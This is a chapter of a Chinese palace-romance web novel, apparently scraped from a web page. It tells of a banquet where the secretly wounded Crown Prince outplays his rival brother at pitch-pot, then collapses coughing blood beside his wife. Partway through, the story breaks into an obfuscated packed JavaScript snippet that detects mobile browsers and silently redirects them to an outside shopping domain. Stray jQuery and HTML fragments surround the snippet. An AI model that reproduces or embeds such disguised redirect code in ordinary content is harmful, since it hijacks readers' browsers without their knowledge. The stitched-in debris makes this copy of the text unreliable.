15. 015
    第十五章

    酉时,夜幕轻垂,飘雪渐停。

    齐、越二王一前一后来到慎德堂赴宴。

    太子依旧穿着玄色锦袍,束发只冠以一根白玉簪,静坐上首,轻轻拨弄着案前的青枝缠花博山炉,香雾袅娜升起,衬得他整个人气质随和而温润。

    两位外封的皇兄上前参拜,他将香炉盖上,俊美面容含笑,语气十分亲切:“快平身,今夜不必多礼。算上塞北一战,孤已经有三四年不曾与皇兄们见面叙旧了。”

    齐王闻言十分感慨:“是啊,今日若是阿景也在,我们兄弟就齐聚了。”

    因先皇后体弱多病,皇帝的长子是德妃所生,便是齐王,慎妃所生的越王排第二,而后太子才出生。

    齐王口中的阿景则是四皇子,出自一位位分不高的贵人,当年那位贵人难产而死,先皇后心善,便将四皇子养在名下。

    所以说起来太子与四皇子的感情更为深厚。

    越王瞧他那大皇兄还在忆往昔,不以为然地撇嘴一笑,心道太子虚伪,嘴上说着兄弟数年不见,方才却也不起身迎一迎他们,可见没把他们放在心上。越王坐下来喝了口宫婢新呈上来的茶,对齐王道:“大哥,你还是快坐下尝尝太子的茶吧,西湖龙井,实在佳品。”

    齐王看越王如在自个儿家中一般,不由得摇摇头,玩笑的口吻说:“你就是在边关无拘无束惯了。”说着坐下来,端起杯盏浅酌一口,赞道:“果真好茶。”

    太子笑了笑,抬手示意内侍们将佳肴美酒呈上来,“孤这还有好酒,请二位皇兄尝尝。”

    齐王自然应好。

    待酒上来,越王却见太子案前不曾有酒壶,遂不动声色地打量一遍太子清瘦的身形,问道:“三皇弟还守着陈太傅不得饮酒的死规矩么?”

    太子状似无奈道:“太傅所言不无道理,喝酒误事,这么年习惯了。”

    “真是老古板。”越王将酒杯斟满酒,话锋一转,“我记得当年陈太傅不还说魏国公嫡女命里运势与你相和,早日定下姻亲有助于大统,怎么如今魏国公嫡女病恹恹的,又突然换了个岭南的小官家之女嫁来东宫?一个是天上的凤凰,一个是地上的麻雀,云泥之别,我可真为你感到不值。”

    齐王不由得肃了脸色,低声提醒道:“这儿是东宫,不是你的越洲,座上是储君,不是你的三弟。你说话注意点分寸!”

    越王不服气地放下酒杯,拱手向太子一礼,敷衍道:“我也是急性子,嘴上没个把边,然话糙理不糙,还请太子勿要怪罪。”

    说罢自罚三杯。

    太子似乎并不介怀越王的言语冒犯,摆摆手笑着说:“无妨,今夜兄弟叙旧,孤说过不必拘礼。姻缘一事重在缘,太子妃出身虽不及魏国公嫡女,然天真烂漫,孤甚是喜爱。”

    呵。越王险些笑出来。别以为他没听见外面的流言蜚语,若不是出了什么变故,这太子妃是万万轮不到一个山旮旯来的女子当的。然太子波澜不惊地说着瞎话,可真是虚伪至极!

    齐王眼看气氛有些微妙,怕越王再口出狂言,忙打圆场道:“宫宴上我也见了太子妃,是个温柔恬静的大家闺秀。二弟,你来时不是才说弟媳很喜欢太子妃的回礼吗?”

    越王暗笑齐王窝囊,待会他就让他看看座上的储君如今已经变成了一个什么废物!

    只见越王掀袍起身,“大哥所言甚是,咱们兄弟相聚,便不说内宅妇孺之事了。我近日时常想起小时候为了争得父皇的伏云破甲弓,投壶论输赢,让父皇好一阵取笑。不知多年过去,技艺还如不如当年。”

    说起这事,齐王也满是回忆:“那时太子赢了,我记得你还发了一通脾气,后来太子将弓给你,你又别扭着不肯要。”

    “那是年纪小,不懂事。”越王挥挥手,他的手下当即将专门命工匠新制的壶和箭筒抬上来,摆在殿中央,随后看向太子和齐王,“咱们今夜也比一比?”

    齐王暗道这个二弟真是不肯消停,家伙都摆出来了,明显是非投不可。然齐王虽为长,但一向敬重太子,因此并不出声,只等着太子的意见。

    太子摩挲着玉扳指,若有所思地点点头,爽朗应下:“那彩头还是当年那把弓吧。”

    “一言为定!”越王抬手请齐王先投。

    齐王便起身出席,按他们小时候的规矩,先取了三支箭,依次投掷,却只中了一支。

    越王表情质疑:“大哥,你该不是故意让我呢吧?”他们封地都是大晋的边境城池,需时刻警惕外邦来犯,骑射功夫自是不差的。

    齐王摆摆手,退开几步,巧妙避开矛头:“我让你也无用,得看你能不能赢过太子啊。”

    越王轻嗤一声,当即上前取箭,迈开步子,故意比齐王方才站的位置还要远些,支支命中。

    “好!”上首传来太子赞赏的掌声。

    越王得意一笑,挑衅地看向太子,那眼神明晃晃地说——该你了。

    太子身侧随侍的暗卫和内侍们不禁捏把冷汗——太子站不起来,也根本不可能投壶。

    可太子还未摔杯传信号,他们也不敢妄动。

    越王是个急性子,话落片刻不见太子有动静,就语气不满地催促:“怎么,太子怕了?”

    太子只是微微一笑,温声道:“孤只是在想,二皇兄已满中,不论孤怎么投,都是平局,徒增烦恼罢了。来人,取弓来,此局是二皇兄胜。”

    内侍垂头应“是”,急步匆匆下去取伏云破甲弓。

    越王闻言却如同被踩到尾巴炸毛的猫,一脸愤然地挥袖:“太子真是越发瞧不起人了!即便平局大可再开一句,可比也不比,岂非侮辱我?”

    太子颇为无奈地叹了声,勉为其难道:“二皇兄这样说,孤心里真是难受。那好吧,便比一比,不过为了公平起见,也好明明白白分出个胜负,孤就在这投吧。”话落伸出手,幽深的眸子看向身侧暗卫。

    暗卫点头正要下去取箭,谁知刹那间,越王竟然直接将箭筒朝太子投来!

    暗卫大惊,时下箭筒虽有密合的盖封,然一旦松散,那尖锐利箭便似直直朝太子齐射,依照越王的力道,可是要人命的!

    说时迟那时快,不等暗卫出手,太子宽大的掌心已稳稳接住那冲击极大的箭筒。

    筒盖弹开,里面黑羽箭抖动着发出清脆声响,然一支都没有掉出来。

    太子神情淡然地笑了笑,垂在膝侧的另一只手却攥紧以至骨节发白,才强行缓下了从心头汹涌到喉间的腥血。随后他举止优雅地从箭筒取出三支箭,示意暗卫勿要急躁。

    暗卫才不得不松开按紧腰间短刃的手,退回原位。

    越王咬紧后槽牙,瞪大眼睛死死盯着太子。能接住他那力道的箭筒,足见太子并不似传闻间的重伤病弱!

    太子并未看越王,箭在修长指尖,他抬臂瞄准数里外的壶口,“唰”一声三箭齐发,箭矢自空中飞啸而过,不过眨眼间,稳稳落进三口壶中。

    太子却是惊讶地挑眉,似乎没想到自己能中一般,神情多了抹无辜地看向越王,好似说:你看,孤说不比吧,你非要比。

    越王的脸色怎是一个铁青可形容,他不敢置信地转身看壶,那壶是他命人特制,壶口比寻常要小上半寸,可壶内黑羽箭做不得假,然太子落座的上首距离壶,起码有两个他方才投壶的距离!

    齐王见状再也忍不住起身拉住越王,再次低声劝道:“你方才真是太放肆了,还不快给太子赔罪?父皇若知晓,少不得治你一个僭越罪名啊!”

    越王重哼一声推开齐王,可不待他有所动作,太子已在上首抬了抬手,姿态随和,平静的语气却无端多了几分上位者的威严:“孤说了,不必多礼。只是不知,二皇兄还要比吗?”

    越王双唇抿得死紧,别开脸好半响,才不甘心地道:“太子比当年更胜一筹,我不比了。

    恰好这时候内侍取了伏云破甲弓呈上来,太子轻轻抚了抚弓上历经风霜雨雪依旧栩栩如生的龙纹,命内侍送到越王面前,“二皇兄,这弓,孤赠予你了。”

    越王诧异抬头,却见太子笑意温润,他迟疑地接过弓,弓之份量于一个成年男子而言算不上沉,越王肩膀却塌了一塌,垂头恭敬道:“多谢太子。”

    齐王连忙打圆场道:“这就对了,咱们还是坐下把酒言欢为好,诶?说来太子妃与淑儿她们也该说完话了,不如派人叫她们过来一起热闹。”

    太子闻言,笑容微微一顿,眉心微不可查地蹙了起来。宋氏这会子只怕是连人带脏物地被庆嬷嬷抓住,只等他回去审问了吧?然此时他面上也只得装作知情的模样,欣然应允。

    不多时,殿外便进来三个仪态般般的女子。齐王妃稳重端庄自是不必说,越王妃怀有身孕,温婉柔和,然再看中间那一身红如烈火十分扎眼的……太子妃,太子简直两眼一黑。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151663|150010||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    “夫君夫君!”宋知意已经笑盈盈地小跑到太子身边,坐下挽住他手臂,语气又娇又柔,“你总算与皇兄们议完事了,人家都想你了呢!”

    太子:“……咳,皇兄和皇嫂们尚在,你也不知羞。”

    他极力控制住表情,颇为无奈地对齐越二王道:“知意年纪小,也是孤惯得她没个规矩,今夜着实叫皇兄皇嫂们见笑了。”

    齐王和越王这才回过神时,难得不约而同地用惊诧表情对了个眼神,这哪是见笑,是叫人吃了一惊!他们印象中,太子便是和昔日身为未婚妻的魏国公嫡女也不曾这般啊……看来缘分果然妙不可言。

    齐王笑道:“无妨无妨,说来时候也不早了,再不出宫回王府,只怕今夜要扰太子清净。”

    兄弟三人客气地挽留推拒一番,方才双双告退。

    越王一度用见了鬼的表情看向宋知意,等到了无外人的宫道,立刻问越王妃:“太子妃在宜春殿跟你们说什么了?”

    越王妃语气奇怪:“我们说的都是胭脂水粉首饰衣料,你个大男人有什么好问的?”

    ……

    慎德堂内,太子终于卸下伪装的笑容与温润如玉,蹙眉上上下下打量着宋知意,语气嫌弃:“你穿的这是什么?”

    简直跟年画上的福娃娃似的。

    “不好看么?不喜庆么?这可是我花费两日功夫精心准备的!是……是大有用处的!”宋知意不乐意地站起身,在太子面前转了个圈圈。

    衣袂飘飘,热烈如火,只衬得她瓷肌雪肤,越发生动活泼,明艳照人。

    太子微怔,随即垂眸,语气冷淡:“不知道的还以为你把大婚那日的喜服掏出来穿了。”

    “哼。”宋知意在他身旁坐下,捏了块糕点来吃,语气含糊地嘟囔:“大婚喜服可比这套漂亮多了,可惜你没能见着罢了,否则你定会为我的美貌折服的。”

    太子冷嗤一声,仿佛听了什么天大的笑话似的,“你少自以为是。今夜谁叫你擅自过来的?”

    “才不是擅自。”宋知意有理有据,“难不成只准你宴请皇兄叙旧,却不准我宴请皇嫂说体己话吗?!我好歹也是名正言顺的太子妃好吧!”

    太子一噎,竟无言以对。

    宋知意悄悄瞄他一眼,见他并无异样,才放心下来。

    其实那日被太子一句“自以为是”打发走了,她心中一直不安,即使太子说不需要她,她也很难什么都不做,思来想去干脆给齐王妃和越王妃都发了拜贴,宜春殿距离慎德堂近,若有什么变故也好及时赶来。

    但是知意瞄这一眼,才后知后觉地发现,太子束发着锦袍的模样可真俊啊!哪怕只是一根简单得不能再简单的白玉簪,一身只绣有团云暗纹的玄色锦袍,那通身气度也是矜贵优雅,不同寻常。

    她没忍住,又瞄了一眼。

    为掩病.态,太子似乎着了一层妆容,那妆容却不同于女子,他骨相出挑,五官深邃而优越。

    算了再瞄一眼。

    太子眉心狠狠蹙着,终于忍不住开口:“你眼睛往哪看呢?”

    宋知意惊艳的目光这才正大光明地落在太子脸庞。他不苟言笑的模样亦是别有一番清冷气度,似天上下凡的神君,只可远观。

    太子深吸一口气,面无表情地别开脸,心头有股难言的燥热不停涌动。

    “噫,你耳朵红啦?”宋知意盯着太子泛红的耳垂,好似发现了什么了不得的事,连忙靠过去想要确认一下。

    太子浑身一僵,下意识抬臂挡住宋知意,冷声斥道:“非礼勿视!”

    “哦哦哦!”宋知意嘿嘿一笑,恍然明白了什么,马上正襟危坐,也用严肃的口吻道,“殿下,你耳朵真的好红。”

    太子:“……闭嘴。”

    宋知意抿了抿唇,狡黠笑意却从那双亮晶晶的大眼睛里流露出来。

    不曾想,太子下一瞬竟毫无预兆地喷出一口鲜血。

    宋知意猝不及防,吓了一大跳,脸色惨白,急忙倾身扶住太子,语气惊慌地叫暗卫:“快,快传太医!”

    说话间,太子又是一口血喷在知意胸前,粘稠的鲜血很快与她红色的衣裙融为一体,甚至更添一分妖冶。

    太子再也撑不住地无力倒在宋知意肩头时,不由得想:此女穿着一身丑兮兮的红裙,该不是为了他吐血时别叫旁人看出来吧?

    哼,真是够自以为是的。